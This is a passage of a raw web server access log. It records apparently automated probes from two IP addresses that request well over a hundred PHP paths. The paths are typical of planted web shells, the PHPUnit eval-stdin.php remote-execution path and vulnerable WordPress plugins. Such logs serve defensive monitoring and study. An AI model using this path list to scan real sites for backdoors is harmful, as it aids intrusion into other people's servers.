(KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:49 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:49 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:50 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:50 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:18:50 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:50 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:50 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:50 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:51 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:51 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:51 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:18:51 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:51 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:52 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:52 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:52 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:52 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:52 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:52 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:52 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:52 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:53 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:53 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:18:53 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:53 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:53 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:53 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:53 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:53 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:53 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:53 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:54 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:54 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:55 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:55 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:18:55 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:55 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:55 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:55 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:18:55 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:18:55 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:55 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 